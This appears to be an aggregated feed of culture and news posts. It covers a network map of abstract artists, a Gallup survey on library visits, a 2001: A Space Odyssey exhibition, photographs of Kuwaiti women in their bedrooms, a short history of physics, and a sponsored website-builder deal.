"Abstraction may be modernism's greatest innovation," says the web site of Inventing Abstraction 1910-1925, the MoMA exhibit for which the map (downloadable as a PDF poster here) was originally designed. "Today it is so central to our conception of artmaking that the time when an abstract artwork was unimaginable has become hard to imagine."

But when abstract art emerged, it seemed to do so quite suddenly: beginning in 1911, Kandinsky and other artists, including Fernand Léger, Robert Delaunay, František Kupka, and Francis Picabia, "exhibited works that marked the beginning of something radically new: they dispensed with recognizable subject matter." You can view the Inventing Abstraction diagram with Léger at the center, which reveals his connections to such figures as Man Ray, Marcel Duchamp, and Pablo Picasso. Reconfigured with Delaunay at the center, links emerge to the likes of Blaise Cendrars, Edgard Varèse, and Paul Klee.

But no abstract artist seems to have been as well-connected as Kandinsky, who "became a central force in the development and promotion of abstraction through his intrepid efforts as a painter, theorist, publisher, exhibition organizer, teacher, and as a generous host to the dozens of artists and writers who trekked, often from great distances, to meet him." So says the bio alongside Kandinsky's page on the diagram, which depicts him as the node connecting figures, influential in their own right, like Josef Albers, László Moholy-Nagy, and Hans Richter. Kandinsky's "message about abstraction's potential transcended distinctions between mediums, and his impact was felt from New York to Moscow." But only a community of artists spanning at least that range of the globe, each in his or her own way looking to create a new world, could bring abstract art into being. More than a century later, we can safely call it here to stay.

Enter the social network of abstract artists here.

Related Content:

Steve Martin on How to Look at Abstract Art

How to Paint Like Kandinsky, Picasso, Warhol & More: A Video Series from the Tate

Who Painted the First Abstract Painting?: Wassily Kandinsky? Hilma af Klint? Or Another Contender?

The First Masterpieces of Abstract Film: Hans Richter’s Rhythmus 21 (1921) & Viking Eggeling’s Symphonie Diagonale (1924)

A Quick Six Minute Journey Through Modern Art: How You Get from Manet’s 1862 Painting, “The Luncheon on the Grass,” to Jackson Pollock 1950s Drip Paintings

How the CIA Secretly Funded Abstract Expressionism During the Cold War

Based in Seoul, Colin Marshall writes and broadcasts on cities, language, and culture. His projects include the book The Stateless City: a Walk through 21st-Century Los Angeles and the video series The City in Cinema. Follow him on Twitter at @colinmarshall or on Facebook.

An Interactive Social Network of Abstract Artists: Kandinsky, Picasso, Brancusi & Many More is a post from: Open Culture. Follow us on Facebook, Twitter, and Google Plus, or get our Daily Email. And don't miss our big collections of Free Online Courses, Free Online Movies, Free eBooksFree Audio Books, Free Foreign Language Lessons, and MOOCs.

03 Mar 18:43

How to refine your EQ to thrive in uncertain times

by Kerry Goyette

In a volatile job landscape, emotional intelligence can help you navigate the constant changes and also teach you the skills to thrive.

I wish I knew then what I know now.

Read Full Story

03 Mar 18:42

Dropouts: The Great American Workforce Waiting to Happen

by Rolando Rodriguez
In The King’s Speech, a movie about King George VI’s ascension to the throne of the British Empire – the royal hires a speech therapist, named Lionel Logue, to overcome his stammer. The most powerful scene in the movie is when the king questions his teacher’s educational background, or lack there...
03 Mar 18:42

Exactly which personality types silently judge your email mistakes

by Julie Boland and Robin Queen–The Conversation

Research reveals what makes some people more sensitive to writing mistakes than others.

I’m a cognitive psychologist who studies language comprehension. If I see an ad for a vacation rental that says “Your going to Hollywood!” it really bugs me. But my collaborator, Robin Queen, a sociolinguist, who studies how language use varies across social groups, is not annoyed by those errors at all.

Read Full Story

03 Mar 18:31

Americans Visited Libraries Almost Twice as Often as They Went to the Movies Last Year, a New Survey Shows

by Josh Jones

Image via Wikimedia Commons

One recurring story over the past year, covered by every major news outlet, asks whether streaming services are “killing” movie theaters (or if they are killing themselves). Another looks into the trend of binge-watching, and the effect of an entertainment ecosystem built on shows that seem to stream themselves. Given the ubiquity of this kind of coverage, we might be forgiven for suspecting that the U.S. is turning into a mass of passive home viewers transfixed by supernatural thrillers, dark comedies, reality TV, teen dramas, etc.….

This isn’t entirely the case.... While others tally up the number of eyeballs on variously-sized screens, veteran polling outfit Gallup spent part of December 2019 asking Americans around the country what they did when they went out. Among the nine activities they listed—including movies, concerts, sporting events, museums, zoos, and casinos—“visiting the library remains the most common cultural activity Americans engage in, by far,” averaging 10.5 visits per year, notes Justin McCarthy at Gallup News.

To put that “by far” into perspective, those polled reported, on average, going to the library almost twice as often as going to the movies, the second-place activity, over the past year. But as with all such polling data, we should not draw hasty conclusions without looking at specifics. Gallup breaks down the demographics by gender, age, income, region, and by households with and without children. Surprisingly, they found very little difference between the latter two groups’ reported library trips.

Among the other categories, we find that women reported going to libraries almost twice as often as men; that people between 18-29 report going over twice as often as those between 50-64—perhaps due to college assignments; and that low income households report going at much higher rates than those in higher brackets. “Cost seems to be a factor driving these trends,” writes Brigit Katz at Smithsonian. “Visiting the library is free, as are the variety of services libraries offer, including Wi-Fi.”

Indeed, “29 percent of library-going Americans over the age of 16 went to use computers, the internet or a public Wi-Fi network.” Libraries are places to gain access to cultural experiences that can be cost-prohibitive elsewhere: to take free classes and enjoy free movies, music, and, yes, books. The number of average visits has remained unchanged since a similar poll in 2001, “suggesting libraries are as popular now as they were at the turn of the millennium.” Trips to the movies, on the other hand, are down an average of 1.3 visits.

Make of the data what you will in the full breakdown at Gallup News. The telephone survey has a very small sample size—1,024 adults in all 50 states—which may not be at all representative of the whole. Nonetheless, McCarthy concludes that “despite the proliferation of digital-based activities over the past two decades… libraries have endured.” May they continue to do so, and to serve the needs of all Americans, especially those who might otherwise have little access to the kinds of knowledge, information, and culture that libraries steward.

via Smithsonian

Related Content:

The New York Public Library Announces the Top 10 Checked-Out Books of All Time

Free Coloring Books from World-Class Libraries & Museums: Download & Color Hundreds of Free Images

Libraries & Archivists Are Digitizing 480,000 Books Published in 20th Century That Are Secretly in the Public Domain

Josh Jones is a writer and musician based in Durham, NC. Follow him at @jdmagness.

Americans Visited Libraries Almost Twice as Often as They Went to the Movies Last Year, a New Survey Shows is a post from: Open Culture. Follow us on Facebook, Twitter, and Google Plus, or get our Daily Email. And don't miss our big collections of Free Online Courses, Free Online Movies, Free eBooksFree Audio Books, Free Foreign Language Lessons, and MOOCs.

03 Mar 17:11

The Internet Archive has a treasure/trash trove of 20,000 VHS recordings from the 1980s and 1990s

by Mark Frauenfelder

The Internet Archives' VHS Vault isn't new, but since the beginning of the year it's been refreshed with hundreds of new uploads, reports LifeHacker.

So what kind of gems will you find in the VHS Vault? The clips, shows and films run the gamut from instructional videos, to documentaries, to children’s programs, to workout videos. Want to watch the 1935 film version of Les Misérables? It’s on there. Want to work out with Traci Lords? Your wish is the VHS Vault’s command. Want to watch every single episode of Salute Your Shorts? Get ready to spend some quality time with Budnick, Dina and Ug Lee. How about an introduction to Windows 95 with Jennifer Aniston and Matthew Perry? Yes, that exists, and it’s on there, too.

Image: Internet Archive

03 Mar 17:10

Peeking Behind the Curtain of 2001: A Space Odyssey

by Dan Schindel
On the Hotel Room set of 2001: A Space Odyssey (photo courtesy Warner Bros. via the Museum of the Moving Image)

2001: A Space Odyssey is one of the most acclaimed and influential films ever made, a landmark in epic filmmaking and science fiction. Director Stanley Kubrick still looms large over pop culture in general and film culture in particular, to the point where an extensive exhibition about his life and work garnered massive success several years back. Now, more than 50 years after the film’s release, the Museum of the Moving Image is presenting an exhibition specifically devoted to 2001. Envisioning 2001: Stanley Kubrick’s Space Odyssey
devotes a full floor of gallery space to props, tools, art, advertising, and other ephemera related to the conception, creation, and impact of the movie.

Replica HAL 9000 camera lens (all gallery photos by the author for Hyperallergic)

Little of the information presented in exhibition will be new to Kubrick diehards, but that’s not really the point of these kinds of shows. It’s one thing to read about the correspondences between Kubrick and legendary sci-fi author Arthur C. Clarke, who wrote the novel on which 2001 was based and helped shepherd it into being. It’s another thing to see their letters laid out for you yourself to read. Cinema is a process of illusion by which various real, tangible elements are transformed into impossible events through all manner of tricks, from editing to animation. Peeking behind the curtain and seeing those tangible artifacts is a thrill for anyone who has ever been affected by the movie those artifacts are from. For a touchstone such as 2001, that effect is magnified.

So there’s a thrill to being able to look up close at the costumes, to see the fur work on a bodysuit that a performer wore to play a pre-evolved human. My favorite part was discerning the detail in the Pan Am logo on a stewardess cap, something you likely can’t see in the film itself but which makes the product all the more convincing because they added it, even though no one would consciously recognize it. Even reproductions of props in lieu of originals, such as the “eye” of the sinister computer HAL 9000, can induce a chill.

Space helmet and hominid mask

Some parts of the exhibition don’t work quite as well. An alcove which plays the infamously psychedelic “Stargate” sequence on a loop can’t hope to match the overwhelming power of experiencing it in a theatrical setting. And in general, for all the interesting peripheral materials the show gathers, such as a tie-in comic book, it still lacks a good deal of context which it could have given to the pop culture landscape 2001 came into, and how it changed that landscape. Nonetheless, it’s an engaging visit for cinephiles and laypeople alike.

Astronaut suit costume on view in Envisioning 2001: Stanley Kubrick’s Space Odyssey at MOMI

Envisioning 2001: Stanley Kubrick’s Space Odyssey is on view at the Museum of the Moving Image (36-01 35th Avenue, Astoria, Queens) through July 19.

03 Mar 15:51

If You Like RSS, You'll Love Fraidycat

by msmash
J. Fergus, writing for Input: Someone finally did it. We can now follow who we want on our own terms and get that information chronologically. Fraidycat is an app and browser extension that allows just that. Though it launched in November 2019, Fraidycat recently got a massive update, widening its compatibility and adding a dark mode. The open-source tool, brought to you by Kicks Condor, is available for Linux, Mac, and Windows in addition to Mozilla Firefox and Chrome as an extension. Fraidycat definitely pulls from RSS feeds more easily, but it also works on Twitter, Instagram, and SoundCloud. You drop the link to the account you'd like to follow -- from Medium bloggers to Twitch streamers to vision board Pinterest-ers -- and set how frequently you'd like to see their posts. Label it, hit save, and posts will appear as often as you'd like. The recent update notably folds Kickstarter into the mix and collapses Twitter threads for readability.

Read more of this story at Slashdot.

28 Feb 18:08

Why Students Should Think Like Shakespeare

by S. Abbas Raza

Alexander C. Kafka in The Chronicle of Higher Education:

“You’ve been cheated of your birthright: a complete education.”

So Scott Newstok warned the Class of 2020 in a convocation speech four years ago. Newstok, who teaches literature at Rhodes College, where he also directs the Pearce Shakespeare Endowment, urged students to strive for “a level of precision, inventiveness, and empathy worthy to be called Shakespearean.”

That speech led to an essay and now to a book, How to Think Like Shakespeare: Lessons From a Renaissance Education, which Princeton University Press will publish in April. In it, Newstok considers what the Bard’s copious intellect and imagination might tell us about the potential and failures of our educational system. In doing so, he cites a wide array of thinkers — not just Shakespeare but ancient Greek philosophers, Mary Shelley, Hannah Arendt, Maya Angelou, Bob Dylan, and scores of others. That serves as a written meta-performance that illustrates Newstok’s point: Discovering how others think is the best way to learn how to think for ourselves.

Newstok explained to The Chronicle why he approached the book in that way, how writing it influenced his teaching, and how educational reforms leave every child behind.

More here.

28 Feb 16:35

These vibrant posters track the rise of China’s economic might

by Evan Nicole Brown

With these posters, art is political.

This week, a new exhibit debuted at Manhattan’s Poster House, America’s first museum dedicated exclusively to poster art. In The Sleeping Giant: Posters & The Chinese Economy, graphic design and politics collide. From early 20th-century advertisements (which are cleverly disguised as artistic wall hangings) to graphic design work displayed at the 20th Century Chinese Design Exhibition in 1998, these posters provide a visual history lesson in how China became the economic juggernaut it is today.

Read Full Story

28 Feb 16:35

A Kuwaiti Artist Photographs Women in the Intimate Sanctuary of Their Bedrooms

by Hakim Bishara
Maha Alasaker, “Djinane Alsuwayeh, 29, art director and photographer” (2015) (all images courtesy the artist)

While living in New York, Maha Alasaker, a Kuwaiti visual artist, quickly became fed up with intrusive questions about if she wears a hijab in Kuwait, if she’s allowed to drive, or if she owns a pet camel. After years of suffering from New Yorkers’ ignorance about her culture, she decided to respond with a photographic series that depicts the day-to-day lives of Kuwaiti women and highlights their voices and thoughts, untainted by orientalist prejudice.

Alasaker’s book, Women in Kuwait (2019), brings together 25 portraits from the series (taken between 2015 and 18) featuring Kuwaiti women of various ages and backgrounds in the intimacy of their bedrooms. The series is the first to bring such a close and authentic glimpse into the personal environments of women in the country, presented by a Kuwaiti native. But it is also a détournement of an old orientalist trope in Western art: the depiction of Arab women as exotically enclosed in their harems, isolated from men and the outer world. Eugène Delacroix’s “The Women of Algiers in their Apartment” (1834) epitomizes that orientalist gaze. (The painting was later interpreted into a series of drawings by Pablo Picasso, who was known for his abusive treatment of women, whom he called “machines for suffering.”)

Without institutional backing, Alasaker self-published her book with the help of friends and peers who chipped in on a Kickstarter campaign. The book was soon acquired by the Getty Research Institute and the Thomas J. Watson Library at the Metropolitan Museum of Art. Earlier iterations of the project were exhibited at the Permanent Mission of the State of Kuwait to the United Nations in Manhattan in 2018 and at ArtHelix Gallery and Carrie Able Gallery in Brooklyn in 2017, among other venues around the world. The series also received attention from Vogue Italia, Rolling Stone, and other publications.

Maha Alasaker, “Fatimah Alyakoob, 32, Operations Manager in ERA.Media” (2016)
Maha Alasaker, “Amnah Al-Mutawa, 31, Orthodontist” (2017)

Alasaker’s photographs are accompanied by excerpts from interviews with the participating women conducted by her collaborator, Nada Faris, a Kuwaiti writer and performance poet. These interviews touch on a variety of topics, from familial relationships to the trauma of the Iraqi Invasion of Kuwait in 1990, but focus primarily on the state of women’s rights in Kuwait.

Kuwait is a relatively young country (it gained independence from Britain in 1961) with a small population of only 4.5 million, about 70% of which consists of expatriates (as of 2016). It’s considered one of the more liberal Gulf countries. For instance, it’s one of a few in the region where an Islamic dress code for women is not mandatory (although modesty is formally encouraged by the government). The country is a hereditary monarchy, ruled by Emirs from the Al-Sabah dynasty, but it maintains a separation of powers between the executive, legislative, and judicial branches of government and holds democratic elections for parliament.

Article 29 of Kuwait’s constitution, approved in 1962, states that “All people are equal in human dignity and in public rights and duties before the law, without distinction as to gender, origin, language or religion.” However, women in the country were denied the right to vote and run for political office up until 2005 (apart from a brief period after 1962). They continue to face discrimination in crucial matters like marriage, divorce, guardianship, and citizenship. A reinstated edition of the constitution in 1992 dropped gender from the definition of equality. The amended article 29 now reads, “The people are peers in human dignity and have, in the eyes of the Law, equal public rights and obligations. There shall be made no differentiation among them because of race, origin, language or religion.”

“Kuwait has undeniably maintained a legal framework that discriminates against women, and in doing so violates the integrity of the constitution,” writes Lulu Al-Sabah, a Kuwaiti art journalist and art consultant, in a foreword for the book. “Yet it would be a mistake to perceive Kuwaiti women solely as an oppressed mass.”

This message of local pride alongside an ongoing struggle for equal rights echoes throughout Faris’s interviews with Alasaker’s subjects. “Kuwaiti women are bold,” says Amnah Al-Mutawa, a 31-year-old orthodontist, who’s introduced to us in a mirror reflection. “Proud to be a Kuwaiti woman yet facing difficulties in balancing traditions and the modern definition of equal rights.”

Maha Alasaker, “Awatif Alsabah, 44, life coach” (2018)
Maha Alasaker, “Mariam Mandani, 25, Freelance Designer” (2016)

Alasaker’s series evokes other photography projects that chose bedrooms as settings for portraits of women (see Rania Matar’s A Girl and Her Room and Sarah Bennet’s Life After Life in Prison: The Bedroom Project, to name just two) but in a conservative society like Kuwait’s, bedrooms provide not just basic privacy, but also protection from society’s watching eye.

In her essay for the book, Faris explains that tradition in Kuwait dictates that children must live with their parents until marriage. “[Bedrooms] serve as sanctuaries for boys and girls who continue to grow in Kuwaiti families where collective needs outweigh the individuals,” she writes. Nowadays, women enjoy a little more privacy, while in the past they were instructed to keep their bedrooms doors ajar.

“Our constitution gives a certain amount of rights to each citizen and we as women are not given all these rights, only some of them,” says Mariam Mandani, a 25-year-old freelance designer who’s captured half-eying the camera next to her bedroom door. “It’s as if we are less of citizens than men,” she continues. At the top right corner of the photo, above her desk, you can see a tongue-in-cheek traffic sign warning of camels crossing the road. A large emergency “EXIT” sign posted on the door subtly suggests a desire to escape or break free.

Maha Alasaker, “Shurooq Amin, 50, PhD in Ekphrasis, Artist and Pilates Instructor”
Maha Alasaker, “Maryam Al-Nusif, 35, Chef and Gardener” (2017)

Djinane Alsuwayeh, a 29-year-old art director and photographer, is captured in a pensive moment, her eyes downcast. She is seated on her bed, surrounded by pillows, against a turned canvas and a warm oxblood red wall centered by a black-and-white photo of a woman in a white dress. “Women are not equal to men,” she says in her interview. “You see it every day in the way kids are being raised, at work and in conversations.”

Alasaker’s photos emanate with warmth, a product of the trust and intimacy she was able to achieve with her subjects. Whether they’re seated on their beds or cross-legged on their bedroom floors, the women appear comfortable with the camera. In a patriarchal society with oppressive codes of respectability, “family honor” and “Hurma” (an Islamic term for women’s “sanctity,” which must be protected from violation), that alone is subversive.

One other recurring motif in Alasaker’s images is the depiction of several women reflected in their bedroom mirrors. What seems at first as a way to avoid full exposure can alternately be seen as these women’s plea for the world to see them just as they view themselves.

Maha Alasaker, “Rasha Aldoughaji, 38, Owner of Baked Bakery” (2017)

Up until Women in Kuwait, Alasaker’s work typically relied on self-portraiture. In an earlier series titled Belonging (2017), she addressed the double life she had to maintain in Kuwait as a means to avoid intrusive social scrutiny. Some of the works in the series were included in the ad takeover #resistanceisfemale which appeared on phone booths and bus stops across New York City in 2017.

“This last project made me think of us rather than me,” Alasaker told Hyperallergic in an email conversation. “I always felt that I am different from everyone else at home, but I realized that the struggles I go through are not mine alone.”

Several months ago, she decided to abandon the relative freedom she enjoyed in New York and return to Kuwait, the very place from which she escaped more than five years go. “I started feeling that my audience is my people, so I wanted to be closer to them and see how they respond to my art,” she wrote. “I feel this is the right time to be in Kuwait. Many things have changed since I left and I wanted to be part of that.”

And for the last time, for those who are still wondering: no, she does not have a pet camel.

28 Feb 16:34

Mike Bloomberg Can Win This Election!

by Dan Caprera

28 Feb 16:33

The Story of Physics Animated in 4 Minutes: From Galileo and Newton, to Einstein

by Colin Marshall

No matter how well you remember your physics classes, you most likely don't remember learning any stories in them. Theories and equations, yes, but not stories — yet each of those theories and equations has a story behind it, as does the entire scientific enterprise of physics they constitute. The video above from the BBC's Dara Ó Briain's Science Club provides an overview of the latter story in an animated four minutes, making it ideal for youngsters just starting to learn about physics. It will also do the job for those of us not-so-youngsters circling back to get a better grasp of physics, its discoveries and driving questions.

"The story of physics is, for the most part, a tale of ever-increasing confidence," says Ó Briain, a comedian as well as a television host and writer on various subjects. This version of the story begins with rolling balls and falling objects, observed with a new rigor by such 17th-century Italians as Galileo Galilei. Galileo's work became "the rock on which modern physics is founded," and those who first built upon that rock included Isaac Newton, who started by noticing how apples fall and ended up with a theory of gravity. Newton's work would later predict the existence of Neptune; James Clerk Maxwell, working in the 19th century, made discoveries about electromagnetism that would later give us radio and television.

For quite a while, physics seemed to go from strength to strength. But as the 20th century began, "the latest discoveries didn't build on the old ones. Things like x-rays and radioactivity were just plain weird, and in a bad way." But in 1905, onto the scene came a 26-year-old Albert Einstein, who "tore up the script by" claiming that "light is a kind of wave but also comes in packets, or particles." That same year he published an equation you'll certainly remember from your school days: E = mc2, which holds "that mass and energy are equivalent." Einstein proposed that, if "someone watches a spaceship flying very fast, what they would see is the ship's clocks running slower than their own watch — and the ship will actually shrink in size. But for the astronauts inside, all would be normal."

In other words, "time and space can change: they are relative depending on who's observing." Einstein called this "special relativity," and he also had a theory of "general relativity." That showed "how balls and apples weren't the only thing subject to gravity: light, time, and space were also affected. Gravity slows down time and it warps space." No matter how dimly we understand physics itself, we all know the major players in its story: Galileo and Newton made important early discoveries, but it was Einstein who "shattered traditional physics" and revealed just how much we still have to learn about physical reality. Still today, physicists labor to reconcile Einstein's discoveries with all other known facts of that reality. As frustrating as that task often proves, the kids who take an interest of their own in physics after watching the video will surely be heartened to know that the story of physics goes on.

via The Kids Should See This

Related Content:

Free Online Physics Courses (part of our larger collection, 1,500 Free Online Courses from Top Universities)

The Map of Physics: Animation Shows How All the Different Fields in Physics Fit Together

The Case for Studying Physics in a Charming Animated Video

Physics & Caffeine: Stop Motion Film Uses a Cup of Coffee to Explain Key Concepts in Physics

The Feynman Lectures on Physics, The Most Popular Physics Book Ever Written, Is Now Completely Online

Based in Seoul, Colin Marshall writes and broadcasts on cities, language, and culture. His projects include the book The Stateless City: a Walk through 21st-Century Los Angeles and the video series The City in Cinema. Follow him on Twitter at @colinmarshall or on Facebook.

The Story of Physics Animated in 4 Minutes: From Galileo and Newton, to Einstein is a post from: Open Culture. Follow us on Facebook, Twitter, and Google Plus, or get our Daily Email. And don't miss our big collections of Free Online Courses, Free Online Movies, Free eBooksFree Audio Books, Free Foreign Language Lessons, and MOOCs.

27 Feb 17:55

Welcome to the new A.V. Club homepage

by Patrick Gomez on News, shared by Patrick Gomez to The A.V. Club

In this era of reboots, you can’t blame a site for trying to keep things fresh: Today we launch our redesigned homepage, which we hope you’ll like way more than Baby Nut. “I hate change!” you may protest. We get it. But we swear this shiny new homepage provides you all the A.V. Club stories you want, just more of it…

Read more...

27 Feb 17:55

Ava DuVernay Is Working On an Adaptation of *Dawn* for Amazon

by Angela Watercutter
*Star Wars: The Rise of Skywalker*'s Victoria Mahoney will reportedly write and direct the adaptation of Octavia E. Butler's sci-fi novel.
27 Feb 17:55

Build A Website Without All Of The Coding Thanks To This $50 Service

by Michael Justin Allen Sexton

If you’ve never used a website building program before, it’s tough to know exactly what to expect. While some offer loads of customization features, others are either restrictive or difficult to use, which could leave you stuck with web design or certain functionality you don’t like.

Weblium is a website builder that prides itself on ease of use without losing the individuality or freedom any website owner wants. You can see how quickly one of their websites can be up and running with a lifetime Weblium Website Builder Pro subscriptionnow 75 percent off at only $49.

Weblium is no newcomer to the scene either. Ranked as the No. 2 Product of the Week on Product Hunt with more than 200,000 happy creators, Weblium is all about versatility.

New users can choose from over 180 different site templates from over 20 different categories to match your precise tone and feel. Of course, the real value of Weblium is when you start modifying those templates.

The entire format of Weblium is modeled on block design, which offers more than 200 different drag-and-drop content blocks that you can assemble on your site just the way you want. Weblium’s AI Design Supervisor allows you to dynamically edit as you go so you can actually see your changes as they’re made, not after going through a whole saving process.

If you want to drop in a gallery here or add a social media feed or a content section there, just drop it in and check out your results. You don’t have to start over from scratch each time — and changes adjust dynamically to your format, so a change that works when viewing your site on a desktop will also work when you’re on a mobile device.

With advanced SEO settings to boost your site’s visibility, a graphics library of over 100,000 images, and the ability to adjust every color, font, or theme style on your site, Weblium can translate your vision precisely to the page without getting lost in code and other technical hassles.

Right now, you can save over $140 off the price of a Weblium lifetime membership, now just $49.

Note: Terms and conditions apply. See the relevant retail sites for more information. For more great deals, go to our partners at TechBargains.com.

Now read: